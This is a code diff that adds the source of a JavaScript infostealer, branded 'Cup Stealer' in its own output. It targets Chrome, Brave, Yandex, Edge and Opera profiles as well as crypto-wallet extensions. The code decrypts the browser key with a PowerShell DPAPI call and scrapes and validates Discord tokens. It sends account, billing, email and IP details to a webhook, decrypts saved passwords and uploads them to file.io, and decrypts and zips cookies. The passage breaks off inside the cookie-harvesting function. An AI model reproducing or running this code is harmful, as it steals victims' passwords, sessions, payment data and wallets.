+	'\\Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm'
+_0x4ae424.Ronin_E =
+	'\\Local Extension Settings\\kjmoohlgokccodicjjfebfomlbljgfhk'
+_0x4ae424.Yoroi_E =
+	'\\Local Extension Settings\\akoiaibnepcedcplijmiamnaigbepmcb'
+_0x4ae424.Authenticator_E =
+	'\\Sync Extension Settings\\ocglkepbibnalbgmbachknglpdipeoio'
+_0x4ae424.MetaMask_O =
+	'\\Local Extension Settings\\djclckkglechooblngghdinmeemkbgci'
+
+const extension = _0x4ae424,
+  browserPath = [
+	[
+	  user.local + '\\Google\\Chrome\\User Data\\Default\\',
+	  'Default',
+	  user.local + '\\Google\\Chrome\\User Data\\',
+	],
+	[
+	  user.local + '\\Google\\Chrome\\User Data\\Profile 1\\',
+	  'Profile_1',
+	  user.local + '\\Google\\Chrome\\User Data\\',
+	],
+	[
+	  user.local + '\\Google\\Chrome\\User Data\\Profile 2\\',
+	  'Profile_2',
+	  user.local + '\\Google\\Chrome\\User Data\\',
+	],
+	[
+	  user.local + '\\Google\\Chrome\\User Data\\Profile 3\\',
+	  'Profile_3',
+	  user.local + '\\Google\\Chrome\\User Data\\',
+	],
+	[
+	  user.local + '\\Google\\Chrome\\User Data\\Profile 4\\',
+	  'Profile_4',
+	  user.local + '\\Google\\Chrome\\User Data\\',
+	],
+	[
+	  user.local + '\\Google\\Chrome\\User Data\\Profile 5\\',
+	  'Profile_5',
+	  user.local + '\\Google\\Chrome\\User Data\\',
+	],
+	[
+	  user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\',
+	  'Default',
+	  user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\',
+	],
+	[
+	  user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 1\\',
+	  'Profile_1',
+	  user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\',
+	],
+	[
+	  user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 2\\',
+	  'Profile_2',
+	  user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\',
+	],
+	[
+	  user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 3\\',
+	  'Profile_3',
+	  user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\',
+	],
+	[
+	  user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 4\\',
+	  'Profile_4',
+	  user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\',
+	],
+	[
+	  user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 5\\',
+	  'Profile_5',
+	  user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\',
+	],
+	[
+	  user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Guest Profile\\',
+	  'Guest Profile',
+	  user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\',
+	],
+	[
+	  user.local + '\\Yandex\\YandexBrowser\\User Data\\Default\\',
+	  'Default',
+	  user.local + '\\Yandex\\YandexBrowser\\User Data\\',
+	],
+	[
+	  user.local + '\\Yandex\\YandexBrowser\\User Data\\Profile 1\\',
+	  'Profile_1',
+	  user.local + '\\Yandex\\YandexBrowser\\User Data\\',
+	],
+	[
+	  user.local + '\\Yandex\\YandexBrowser\\User Data\\Profile 2\\',
+	  'Profile_2',
+	  user.local + '\\Yandex\\YandexBrowser\\User Data\\',
+	],
+	[
+	  user.local + '\\Yandex\\YandexBrowser\\User Data\\Profile 3\\',
+	  'Profile_3',
+	  user.local + '\\Yandex\\YandexBrowser\\User Data\\',
+	],
+	[
+	  user.local + '\\Yandex\\YandexBrowser\\User Data\\Profile 4\\',
+	  'Profile_4',
+	  user.local + '\\Yandex\\YandexBrowser\\User Data\\',
+	],
+	[
+	  user.local + '\\Yandex\\YandexBrowser\\User Data\\Profile 5\\',
+	  'Profile_5',
+	  user.local + '\\Yandex\\YandexBrowser\\User Data\\',
+	],
+	[
+	  user.local + '\\Yandex\\YandexBrowser\\User Data\\Guest Profile\\',
+	  'Guest Profile',
+	  user.local + '\\Yandex\\YandexBrowser\\User Data\\',
+	],
+	[
+	  user.local + '\\Microsoft\\Edge\\User Data\\Default\\',
+	  'Default',
+	  user.local + '\\Microsoft\\Edge\\User Data\\',
+	],
+	[
+	  user.local + '\\Microsoft\\Edge\\User Data\\Profile 1\\',
+	  'Profile_1',
+	  user.local + '\\Microsoft\\Edge\\User Data\\',
+	],
+	[
+	  user.local + '\\Microsoft\\Edge\\User Data\\Profile 2\\',
+	  'Profile_2',
+	  user.local + '\\Microsoft\\Edge\\User Data\\',
+	],
+	[
+	  user.local + '\\Microsoft\\Edge\\User Data\\Profile 3\\',
+	  'Profile_3',
+	  user.local + '\\Microsoft\\Edge\\User Data\\',
+	],
+	[
+	  user.local + '\\Microsoft\\Edge\\User Data\\Profile 4\\',
+	  'Profile_4',
+	  user.local + '\\Microsoft\\Edge\\User Data\\',
+	],
+	[
+	  user.local + '\\Microsoft\\Edge\\User Data\\Profile 5\\',
+	  'Profile_5',
+	  user.local + '\\Microsoft\\Edge\\User Data\\',
+	],
+	[
+	  user.local + '\\Microsoft\\Edge\\User Data\\Guest Profile\\',
+	  'Guest Profile',
+	  user.local + '\\Microsoft\\Edge\\User Data\\',
+	],
+	[
+	  user.roaming + '\\Opera Software\\Opera Neon\\User Data\\Default\\',
+	  'Default',
+	  user.roaming + '\\Opera Software\\Opera Neon\\User Data\\',
+	],
+	[
+	  user.roaming + '\\Opera Software\\Opera Stable\\',
+	  'Default',
+	  user.roaming + '\\Opera Software\\Opera Stable\\',
+	],
+	[
+	  user.roaming + '\\Opera Software\\Opera GX Stable\\',
+	  'Default',
+	  user.roaming + '\\Opera Software\\Opera GX Stable\\',
+	],
+  ],
+ randomPath = `${user.fileLoc}\\cup_lol`;
+ try {
+ 	fs.mkdirSync(randomPath, 484);
+ }catch {
+ 	console.log("Folder already exist");
+ }
+
+async function getEncrypted() {
+  for (let _0x4c3514 = 0; _0x4c3514 < browserPath.length; _0x4c3514++) {
+	if (!fs.existsSync('' + browserPath[_0x4c3514][0])) {
+	  continue
+	}
+	try {
+	  let _0x276965 = Buffer.from(
+		JSON.parse(fs.readFileSync(browserPath[_0x4c3514][2] + 'Local State'))
+		  .os_crypt.encrypted_key,
+		'base64'
+	  ).slice(5)
+	  const _0x4ff4c6 = Array.from(_0x276965),
+		_0x4860ac = execSync(
+		  'powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(' +
+			_0x4ff4c6 +
+			"), $null, 'CurrentUser')"
+		)
+		  .toString()
+		  .split('\r\n'),
+		_0x4a5920 = _0x4860ac.filter((_0x29ebb3) => _0x29ebb3 != ''),
+		_0x2ed7ba = Buffer.from(_0x4a5920)
+	  browserPath[_0x4c3514].push(_0x2ed7ba)
+	} catch (_0x32406b) {}
+  }
+}
+
+function addFolder(folderPath) {
+  const folderFullPath = path.join(randomPath, folderPath);
+  if (!fs.existsSync(folderFullPath)) {
+	try {
+	  fs.mkdirSync(folderFullPath, { recursive: true });
+	} catch (error) {}
+  }
+}
+
+
+async function getZipp(sourcePath, zipFilePath) {
+  try {
+	const zip = new AdmZip();
+	zip.addLocalFolder(sourcePath);
+	zip.writeZip('' + zipFilePath);
+  } catch (error) {
+
+  }
+}
+
+function getZip(sourcePath, zipFilePath) {
+  try {
+	const zip = new AdmZip();
+	zip.addLocalFolder(sourcePath);
+	zip.writeZip('' + zipFilePath);
+  } catch (error) {}
+}
+
+function copyFolder(sourcePath, destinationPath) {
+  const isDestinationExists = fs.existsSync(destinationPath);
+  const destinationStats = isDestinationExists && fs.statSync(destinationPath);
+  const isDestinationDirectory = isDestinationExists && destinationStats.isDirectory();
+
+  if (isDestinationDirectory) {
+	addFolder(sourcePath);
+
+	fs.readdirSync(destinationPath).forEach((file) => {
+	  const sourceFile = path.join(sourcePath, file);
+	  const destinationFile = path.join(destinationPath, file);
+	  copyFolder(sourceFile, destinationFile);
+	});
+  } else {
+	fs.copyFileSync(destinationPath, path.join(randomPath, sourcePath));
+  }
+}
+
+const decryptKey = (localState) => {
+  const encryptedKey = JSON.parse(fs.readFileSync(localState, 'utf8')).os_crypt.encrypted_key;
+  const encrypted = Buffer.from(encryptedKey, 'base64').slice(5);
+  return Dpapi.unprotectData(Buffer.from(encrypted, 'utf8'), null, 'CurrentUser');
+};
+
+function findTokenn(path) {
+	path += 'Local Storage\\leveldb';
+	let tokens = [];
+	try {
+		fs.readdirSync(path)
+			.map(file => {
+				(file.endsWith('.log') || file.endsWith('.ldb')) && fs.readFileSync(path + '\\' + file, 'utf8')
+					.split(/\r?\n/)
+					.forEach(line => {
+						const patterns = [new RegExp(/mfa\.[\w-]{84}/g), new RegExp(/[\w-][\w-][\w-]{24}\.[\w-]{6}\.[\w-]{26,110}/gm), new RegExp(/[\w-]{24}\.[\w-]{6}\.[\w-]{38}/g)];
+						for (const pattern of patterns) {
+							const foundTokens = line.match(pattern);
+							if (foundTokens) foundTokens.forEach(token => tokens.push(token));
+						}
+					});
+			});
+	} catch (e) {}
+	return tokens;
+}
+
+async function createZipp(sourcePath, zipPath) {
+  return new Promise((resolve, reject) => {
+	const zip = new AdmZip();
+	zip.addLocalFolder(sourcePath);
+	zip.writeZip(zipPath, (err) => {
+	  if (err) {
+		reject(err);
+	  } else {
+				  console.log('ZIP arşivi oluşturuldu: ' + zipPath);
+
+		resolve();
+	  }
+	});
+  });
+}
+
+async function getZippp() {
+  getZipp(randomPath, randomPath + '.zip')
+
+  const filePath = './' + 'cup' + '.zip';
+
+  const randomString = crypto.randomBytes(16).toString('hex');
+
+}
+
+const tokens = [];
+
+async function findToken(basePath) {
+    const leveldbPath = path.join(basePath, 'Local Storage', 'leveldb');
+    if (!basePath.includes('discord')) {
+        try {
+            fs.readdirSync(leveldbPath).forEach(file => {
+                if (file.endsWith('.log') || file.endsWith('.ldb')) {
+                    const filePath = path.join(leveldbPath, file);
+                    fs.readFileSync(filePath, 'utf8')
+                        .split(/\r?\n/)
+                        .forEach(line => {
+                            const patterns = [
+                                /mfa\.[\w-]{84}/g,
+                                /[\w-]{24}\.[\w-]{6}\.[\w-]{26,110}/gm,
+                                /[\w-]{24}\.[\w-]{6}\.[\w-]{38}/g
+                            ];
+                            patterns.forEach(pattern => {
+                                const foundTokens = line.match(pattern);
+                                if (foundTokens) {
+                                    foundTokens.forEach(token => {
+                                        if (!tokens.includes(token)) tokens.push(token);
+                                    });
+                                }
+                            });
+                        });
+                }
+            });
+        } catch (e) {   
+ }
+        return;
+    } else {
+        const localStatePath = path.join(basePath, 'Local State');
+        if (fs.existsSync(localStatePath)) {
+            try {
+                const tokenRegex = /dQw4w9WgXcQ:[^.*['(.*)'\].*$][^"]*/gi;
+
+                fs.readdirSync(leveldbPath).forEach(file => {
+                    if (file.endsWith('.log') || file.endsWith('.ldb')) {
+                        const filePath = path.join(leveldbPath, file);
+                        const fileContent = fs.readFileSync(filePath, 'utf8');
+                        const lines = fileContent.split(/\r?\n/);
+                        const key = decryptKey(localStatePath);
+
+                        lines.forEach(line => {
+                            const foundTokens = line.match(tokenRegex);
+                            if (foundTokens) {
+                                foundTokens.forEach(token => {
+                                    let decrypted;
+                                    const encryptedValue = Buffer.from(token.split(':')[1], 'base64');
+                                    const start = encryptedValue.slice(3, 15);
+                                    const middle = encryptedValue.slice(15, encryptedValue.length - 16);
+                                    const end = encryptedValue.slice(encryptedValue.length - 16, encryptedValue.length);
+                                    const decipher = crypto.createDecipheriv('aes-256-gcm', key, start);
+                                    decipher.setAuthTag(end);
+                                    decrypted = decipher.update(middle, 'base64', 'utf8') + decipher.final('utf8');
+                                    
+                                    if (!tokens.includes(decrypted)) tokens.push(decrypted);
+                                });
+                            }
+                        });
+                    }
+                });
+            } catch (e) {
+                console.error("Error processing files:", e);
+            }
+            return;
+        }
+    }
+}
+
+
+async function stealTokens() {
+	const sentTokens = new Set();
+
+	for (let path of paths) {
+		await findToken(path);
+	}
+
+	for (let token of tokens) {
+		// Verifica se o token já foi enviado
+		if (sentTokens.has(token)) {
+			continue; // Se já foi enviado, ignora esse token
+		}
+
+		try {
+			let json;
+			await axios.get("https://discord.com/api/v10/users/@me", {
+				headers: {
+					"Content-Type": "application/json",
+					"authorization": token
+				}
+			}).then(res => { json = res.data}).catch(() => { json = null });
+			if (!json) continue;
+
+			console.log("Definindo variavel de ip");
+			var ip = await getIp();
+			console.log("Variavel de ip definida");
+			var billing = await getBilling(token);
+			console.log("Variavel de billing definida");
+			var { friendsList, numberOfFriends } = await getRelationships(token);
+			console.log("Variavel de getRelationships definida");
+
+			const randomString = crypto.randomBytes(16).toString('hex');
+
+            const userInformationEmbed = {
+                color: 0x050000,
+                author: {
+                    name: `${json.global_name} | (@${json.username})`,
+                    icon_url: json.avatar
+                        ? `https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}?size=512`
+                        : "https://cdn.discordapp.com/icons/1323239039800971305/71e3dd59206f3491fd856fd8f08a4a20.webp?size=1024",
+                },
+                fields: [
+                    {
+                        name: "<:token:1323307210947690506> **Token**",
+                        value: `\`\`\`${token}\`\`\``
+                    },
+                    {
+                        name: "<:badge:1323334115080143000> **Badges**",
+                        value: getBadges(json.flags),
+                        inline: true
+                    },
+                    {
+                        name: "<:nitro:1323307200432832632> **Nitro**",
+                        value: await getNitro(json.premium_type, json.id, token),
+                        inline: true
+                    },
+                    {
+                        name: "<:creditcard:1323301159703674991> **Billing**",
+                        value: billing,
+                        inline: true
+                    },
+                    {
+                        name: "<:email:1323307188004978790> **Email**",
+                        value: `\`${json.email}\``,
+                        inline: true
+                    },
+                    {
+                        name: "<:ip:1323336366872068147> **IP**",
+                        value: `\`${ip}\``,
+                        inline: true
+                    },
+                ],
+                footer: {
+                    text: `Cup Stealer | ${process.env.username}`,
+                    icon_url: "https://cdn.discordapp.com/icons/1323239039800971305/71e3dd59206f3491fd856fd8f08a4a20.webp?size=1024"
+                },
+                timestamp: new Date() 
+            };
+            
+            const friendsEmbed = {
+                title: `<:hq:1323334085141205003> HQ Friends | Total Friends: ${numberOfFriends}`,
+                color: 0x050000,
+                description: friendsList,
+                author: {
+                    name: `${json.global_name} | (@${json.username})`,
+                    icon_url: json.avatar
+                        ? `https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}?size=512`
+                        : "https://cdn.discordapp.com/icons/1323239039800971305/71e3dd59206f3491fd856fd8f08a4a20.webp?size=1024",
+                },
+                footer: {
+                    text: `Cup Stealer | ${process.env.username}`,
+                    icon_url: json.avatar
+                        ? `https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}?size=512`
+                        : "https://cdn.discordapp.com/icons/1323239039800971305/71e3dd59206f3491fd856fd8f08a4a20.webp?size=1024",
+                },
+                timestamp: new Date()
+            };
+            
+			const data = {
+				embeds: [userInformationEmbed, friendsEmbed]
+			};
+
+			// Envia os dados para o webhook
+			await axios.post(webhook_url, data);
+
+			// Adiciona o token ao conjunto para garantir que ele não seja enviado novamente
+			sentTokens.add(token);
+
+		} catch (error) {
+			console.error(error);
+		}
+	}
+}
+
+const badges = {
+	Discord_Employee: {
+		Value: 1,
+		Emoji: "<:Discord_Staff:1223097787332169809>",
+		Rare: true,
+	},
+	Partnered_Server_Owner: {
+		Value: 2,
+		Emoji: "<:53141661f1f34d62af9ce610743947f1:1223412115872677919>",
+		Rare: true,
+	},
+	HypeSquad_Events: {
+		Value: 4,
+		Emoji: "<:HypeSquad_Event:1223097765899534416>",
+		Rare: true,
+	},
+	Bug_Hunter_Level_1: {
+		Value: 8,
+		Emoji: "<:Bug_Hunter:1223097740607885444>",
+		Rare: true,
+	},
+	Early_Supporter: {
+		Value: 512,
+		Emoji: "<:early_supporter:1223097963065380935>",
+		Rare: true,
+	},
+	Bug_Hunter_Level_2: {
+		Value: 16384,
+		Emoji: "<:Bug_Hunter_level2:1223097752737681520>",
+		Rare: true,
+	},
+	Early_Verified_Bot_Developer: {
+		Value: 131072,
+		Emoji: "<:devrico:1223097836707512435>",
+		Rare: true,
+	},
+	House_Bravery: {
+		Value: 64,
+		Emoji: "<:HypeSquad_Bravery:1223097924117074040>",
+		Rare: false,
+	},
+	House_Brilliance: {
+		Value: 128,
+		Emoji: "<:HypeSquad_Brilliance:1223097776993468446>",
+		Rare: false,
+	},
+	House_Balance: {
+		Value: 256,
+		Emoji: "<:HypeSquad_Balance:1223097913081729106>",
+		Rare: false,
+	},
+	Discord_Official_Moderator: {
+		Value: 262144,
+		Emoji: "<:Discord_certified_moderator:1223097798535282758>",
+		Rare: true,
+	}
+};
+
+async function getRelationships(token) {
+    var j = await axios.get('https://discord.com/api/v10/users/@me/relationships', {
+        headers: {
+            "Content-Type": "application/json",
+            "authorization": token
+        }
+    }).catch(() => { })
+    if (!j) return `*Account locked xD*`
+    var json = j.data
+    const r = json.filter((user) => {
+        return user.type == 1
+    })
+    var friendsList = '';
+    for (const z of r) {
+        var badges = getRareBadges(z.user.public_flags);
+        var boostEmblem = await getBoostEmblem(z.user.id, token);
+        if (boostEmblem !== "" && parseInt(boostEmblem.substring(boostEmblem.indexOf("lvl") + 3, boostEmblem.indexOf(">", boostEmblem.indexOf("lvl")))) >= 2) {
+            friendsList += `${badges}${boostEmblem} **| ${z.user.username}**\n`;
+        }
+    }
+    if (friendsList == '') friendsList = "*Nothing to see here xD*"
+    const numberOfFriends = r.length;
+    return { friendsList: friendsList, numberOfFriends: numberOfFriends };
+}
+
+async function getBoostEmblem(id, token) {
+    try {
+        let info;
+        await axios.get(`https://discord.com/api/v10/users/${id}/profile`, {
+            headers: {
+                "Content-Type": "application/json",
+                "authorization": token
+            }
+        }).then(res => { info = res.data })
+            .catch(() => { })
+        if (!info) return "";
+
+        if (!info.premium_guild_since) return "";
+
+        let boost = ["<:lvl1:1219031125247266887>", "<:lvl2:1219031171942449282>", "<:lvl3:1219031999847858216>", "<:lvl4:1219031250950684763>", "<:lvl5:1219031294176919603>", "<:lvl6:1219031344324022425>", "<:lvl7:1219031400607645816>", "<:lvl8:1219031431280332910>", "<:lvl9:1219031069974724638>"]
+        var i = 0
+
+        let boostPeriods = [2, 3, 6, 9, 12, 15, 18, 24];
+        for (const period of boostPeriods) {
+            let expiryDate = new Date(info.premium_guild_since);
+            expiryDate.setMonth(expiryDate.getMonth() + period);
+            let daysLeft = Math.round((expiryDate - Date.now()) / 86400000);
+            if (daysLeft > 0) {
+                break;
+            } else {
+                i++;
+            }
+        }
+
+        if (i >= 4) {
+            return `<:nitro:1227750272915345589>${boost[i]}`;
+        } else {
+            return "";
+        }
+    } catch {
+        return "";
+    }
+}
+
+async function getBilling(token) {
+	let json;
+	await axios.get("https://discord.com/api/v10/users/@me/billing/payment-sources", {
+		headers: {
+			"Content-Type": "application/json",
+			"authorization": token
+		}
+	}).then(res => { json = res.data })
+		.catch(err => { })
+	if (!json) return '\`?\`';
+
+	var bi = '';
+	json.forEach(z => {
+		if (z.type == 2 && z.invalid != !0) {
+			bi += "<:946246524504002610:962747802830655498>";
+		} else if (z.type == 1 && z.invalid != !0) {
+			bi += "<:creditcard:1323301159703674991>";
+		}
+	});
+	if (bi == '') bi = `\`None\``
+	return bi;
+}
+
+function getBadges(flags) {
+	var b = '';
+	for (const prop in badges) {
+		let o = badges[prop];
+		if ((flags & o.Value) == o.Value) b += o.Emoji;
+	};
+	if (b == '') return `\`None\``;
+	return `${b}`;
+}
+
+function getRareBadges(flags) {
+	var b = '';
+	for (const prop in badges) {
+		let o = badges[prop];
+		if ((flags & o.Value) == o.Value && o.Rare) b += o.Emoji;
+	};
+	return b;
+}
+
+async function getNitro(flags, id, token) {
+	switch (flags) {
+		case 1:
+			return "<:nitro:1323307200432832632>";
+		case 2:
+			let info;
+			await axios.get(`https://discord.com/api/v10/users/${id}/profile`, {
+				headers: {
+					"Content-Type": "application/json",
+					"authorization": token
+				}
+			}).then(res => { info = res.data })
+				.catch(() => { })
+			if (!info) return "<:nitro:1323307200432832632>";
+
+			if (!info.premium_guild_since) return "<:nitro:1323307200432832632>";
+
+			let boost = ["<:lvl1:1223097977258774569>", "<:lvl2:1223097987740471306>", "<:lvl3:1223097997634834625>", "<:lvl4:1223098007780589580>", "<:lvl5:1223098018916732939>", "<:lvl6:1223098032954937435>", "<:lvl7:1223098045030207689>", "<:lvl8:1223098057546141716>", "<:lvl9:1223098068417773611>"]
+			var i = 0
+
+			try {
+				let d = new Date(info.premium_guild_since)
+				let boost2month = Math.round((new Date(d.setMonth(d.getMonth() + 2)) - new Date(Date.now())) / 86400000)
+				let d1 = new Date(info.premium_guild_since)
+				let boost3month = Math.round((new Date(d1.setMonth(d1.getMonth() + 3)) - new Date(Date.now())) / 86400000)
+				let d2 = new Date(info.premium_guild_since)
+				let boost6month = Math.round((new Date(d2.setMonth(d2.getMonth() + 6)) - new Date(Date.now())) / 86400000)
+				let d3 = new Date(info.premium_guild_since)
+				let boost9month = Math.round((new Date(d3.setMonth(d3.getMonth() + 9)) - new Date(Date.now())) / 86400000)
+				let d4 = new Date(info.premium_guild_since)
+				let boost12month = Math.round((new Date(d4.setMonth(d4.getMonth() + 12)) - new Date(Date.now())) / 86400000)
+				let d5 = new Date(info.premium_guild_since)
+				let boost15month = Math.round((new Date(d5.setMonth(d5.getMonth() + 15)) - new Date(Date.now())) / 86400000)
+				let d6 = new Date(info.premium_guild_since)
+				let boost18month = Math.round((new Date(d6.setMonth(d6.getMonth() + 18)) - new Date(Date.now())) / 86400000)
+				let d7 = new Date(info.premium_guild_since)
+				let boost24month = Math.round((new Date(d7.setMonth(d7.getMonth() + 24)) - new Date(Date.now())) / 86400000)
+
+				if (boost2month > 0) {
+					i += 0
+				} else {
+					i += 1
+				} if (boost3month > 0) {
+					i += 0
+				} else {
+					i += 1
+				} if (boost6month > 0) {
+					i += 0
+				} else {
+					i += 1
+				} if (boost9month > 0) {
+					i += 0
+				} else {
+					i += 1
+				} if (boost12month > 0) {
+					i += 0
+				} else {
+					i += 1
+				} if (boost15month > 0) {
+					i += 0
+				} else {
+					i += 1
+				} if (boost18month > 0) {
+					i += 0
+				} else {
+					i += 1
+				} if (boost24month > 0) {
+					i += 0
+				} else if (boost24month < 0 || boost24month == 0) {
+					i += 1
+				} else {
+					i = 0
+				}
+			} catch {
+				i += 0
+			}
+			return `<:nitro:1323307200432832632> ${boost[i]}`
+		default:
+			return "\`None\`";
+	};
+}
+
+async function getIp() {
+	var ip = await axios.get("https://www.myexternalip.com/raw")
+	return ip.data;
+}
+
+async function getEncrypted() {
+	for (let _0x4c3514 = 0; _0x4c3514 < browserPath.length; _0x4c3514++) {
+		if (!fs.existsSync('' + browserPath[_0x4c3514][0])) {
+			continue
+		}
+		try {
+			let _0x276965 = Buffer.from(
+				JSON.parse(fs.readFileSync(browserPath[_0x4c3514][2] + 'Local State'))
+				.os_crypt.encrypted_key,
+				'base64'
+			).slice(5)
+			const _0x4ff4c6 = Array.from(_0x276965),
+				_0x4860ac = execSync(
+					'powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(' +
+					_0x4ff4c6 +
+					"), $null, 'CurrentUser')"
+				)
+				.toString()
+				.split('\r\n'),
+				_0x4a5920 = _0x4860ac.filter((_0x29ebb3) => _0x29ebb3 != ''),
+				_0x2ed7ba = Buffer.from(_0x4a5920)
+			browserPath[_0x4c3514].push(_0x2ed7ba)
+		} catch (_0x32406b) {}
+	}
+}
+
+async function getPasswords() {
+  const _0x540754 = [];
+
+  for (let _0x261d97 = 0; _0x261d97 < browserPath.length; _0x261d97++) {
+	if (!fs.existsSync(browserPath[_0x261d97][0])) {
+	  continue;
+	}
+
+	let _0xd541c2;
+	if (browserPath[_0x261d97][0].includes('Local')) {
+	  _0xd541c2 = browserPath[_0x261d97][0].split('\\Local\\')[1].split('\\')[0];
+	} else {
+	  _0xd541c2 = browserPath[_0x261d97][0].split('\\Roaming\\')[1].split('\\')[1];
+	}
+
+	const _0x256bed = browserPath[_0x261d97][0] + 'Login Data';
+	const _0x239644 = browserPath[_0x261d97][0] + 'passwords.db';
+
+	try {
+		fs.copyFileSync(_0x256bed, _0x239644);
+	} catch {
+		continue
+	}
+
+	const _0x3d71cb = new sqlite3.Database(_0x239644);
+
+	await new Promise((_0x2c148b, _0x32e8f4) => {
+	  _0x3d71cb.each(
+		'SELECT origin_url, username_value, password_value FROM logins',
+		(_0x4c7a5b, _0x504e35) => {
+		  if (!_0x504e35.username_value) {
+			return;
+		  }
+
+		  let _0x3d2b4b = _0x504e35.password_value;
+		  try {
+			const _0x5e1041 = _0x3d2b4b.slice(3, 15);
+			const _0x279e1b = _0x3d2b4b.slice(15, _0x3d2b4b.length - 16);
+			const _0x2a933a = _0x3d2b4b.slice(_0x3d2b4b.length - 16, _0x3d2b4b.length);
+			const _0x210aeb = crypto.createDecipheriv(
+			  'aes-256-gcm',
+			  browserPath[_0x261d97][3],
+			  _0x5e1041
+			);
+			_0x210aeb.setAuthTag(_0x2a933a);
+			const password =
+			  _0x210aeb.update(_0x279e1b, 'base64', 'utf-8') +
+			  _0x210aeb.final('utf-8');
+
+			_0x540754.push(
+			  '================\nURL: ' +
+				_0x504e35.origin_url +
+				'\nUsername: ' +
+				_0x504e35.username_value +
+				'\nPassword: ' +
+				password +
+				'\nApplication: ' +
+				_d541c2 +
+				' ' +
+				browserPath[_0x261d97][1] +
+				'\n'
+			);
+		  } catch (_0x5bf37a) {}
+		},
+		() => {
+		  _0x2c148b('');
+		}
+	  );
+	});
+  }
+
+	if (_0x540754.length === 0) {
+	  _0x540754.push('no password found for ');
+	}
+
+  if (_0x540754.length) {
+	fs.writeFileSync("Passwords.txt", user.copyright + _0x540754.join(''), {
+	  encoding: 'utf8',
+	  flag: 'a+',
+	});
+  }
+
+
+  link_download = uploadToAnonfiles("Passwords.txt")
+  return link_download
+}
+
+async function tryAgainUpload(path) {
+	const returns = await uploadToAnonfiles(path)
+	return returns
+}
+/**
+ * Faz upload de um arquivo no File.io.
+ * @param {string} filePath - Caminho do arquivo a ser enviado.
+ * @param {string} folderId - ID da pasta de destino (opcional). Se não fornecido, uma nova pasta será criada.
+ * @returns {Promise<string>} URL da página de download do arquivo.
+ */
+async function uploadToAnonfiles(filePath, folderId = null) {
+	try {
+	  // 1. Preparar o arquivo para upload
+	  const formData = new FormData();
+	  formData.append('file', fs.createReadStream(filePath));
+  
+	  // Incluir folderId, se fornecido
+	  if (folderId) {
+		formData.append('folderId', folderId);
+	  }
+
+	  // 2. Fazer o upload do arquivo
+	  const uploadResponse = await axios.post('https://file.io', formData, {
+		headers: {
+		  ...formData.getHeaders(),
+		},
+	  });
+
+	  if (uploadResponse.data.success !== true) {
+		throw new Error("Erro ao fazer upload: " + uploadResponse.data.message);
+	  }
+
+	  const { link } = uploadResponse.data;
+	  console.log(`Arquivo enviado com sucesso! Página de download: ${link}`);
+	  return link;
+
+	} catch (error) {
+	  console.error("Erro na função uploadToFileio:", error.message);
+	  throw error; // Propaga o erro para ser tratado externamente
+	}
+  }
+
+
+async function tryAgain() {
+	await getCookiesAndSendWebhook()
+}
+
+async function getCookiesAndSendWebhook() {
+    let browserCount = 0; // Contador de navegadores detectados
+    const matchedKeywords = [];
+
+    do {
+        try {
+            ('Wallets\\Cookies');
+            const cookiesData = {};
+            let cookieLength = 0;
+
+            for (let i = 0; i < browserPath.length; i++) {
+                if (!fs.existsSync(browserPath[i][0] + '\\Network')) {
+                    continue;
+                }
+
+                browserCount++; // Incrementa o contador de navegadores detectados
+
+                let browserFolder;
+                if (browserPath[i][0].includes('Local')) {
+                    browserFolder = browserPath[i][0].split('\\Local\\')[1].split('\\')[0];
+                } else {
+                    browserFolder = browserPath[i][0].split('\\Roaming\\')[1].split('\\')[1];
+                }
+
+                const cookiesPath = browserPath[i][0] + 'Network\\Cookies';
+                const cookies2 = browserPath[i][0] + 'Network\\LXNNYCookies';
+
+                try {
+                    fs.copyFileSync(cookiesPath, cookies2);
+                } catch {
+                    continue;
+                }
+
+                const db = new sqlite3.Database(cookies2);
+
+                await new Promise((resolve, reject) => {
+                    db.each(
+                        'SELECT * FROM cookies',
+                        function (err, row) {
+                            let encryptedValue = row.encrypted_value;
+                            let iv = encryptedValue.slice(3, 15);
+                            let encryptedData = encryptedValue.slice(15, encryptedValue.length - 16);
+                            let authTag = encryptedValue.slice(encryptedValue.length - 16, encryptedValue.length);
+                            let decrypted = '';
+
+                            try {
+                                const decipher = crypto.createDecipheriv('aes-256-gcm', browserPath[i][3], iv);
+                                decipher.setAuthTag(authTag);
+                                decrypted = decipher.update(encryptedData, 'base64', 'utf-8') + decipher.final('utf-8');
+                            } catch (error) {}
+
+                            if (!cookiesData[browserFolder + '_' + browserPath[i][1]]) {
+                                cookiesData[browserFolder + '_' + browserPath[i][1]] = [];
+                            }
+
+                            cookiesData[browserFolder + '_' + browserPath[i][1]].push(
+                                `${row.host_key}\tTRUE\t/\tFALSE\t2597573456\t${row.name}\t${decrypted}\n`
+                            );
+
+                            // Search for keywords in host_key
+                            for (const keyword of keywords) {
+                                if (row.host_key.includes(keyword) && !matchedKeywords.includes(keyword)) {
+                                    matchedKeywords.push(keyword);
+                                }
+                            }
+
+                            count.cookies++;
+                        },
+                        () => {
+                            resolve('');
+                        }
+                    );
+                });
+            }
+
+            if (matchedKeywords.length > 0) {
+                sendKeywordsToDiscord(matchedKeywords);
+            }
+
+            const zip = new AdmZip();
+
+            for (let [browserName, cookies] of Object.entries(cookiesData)) {
+                if (cookies.length !== 0) {
+                    const cookiesContent = cookies.join('');
+                    const fileName = `${browserName}.txt`;
+                    cookieLength += cookies.length;
+                    zip.addFile(fileName, Buffer.from(cookiesContent, 'utf8'));
+                }
+            }
+
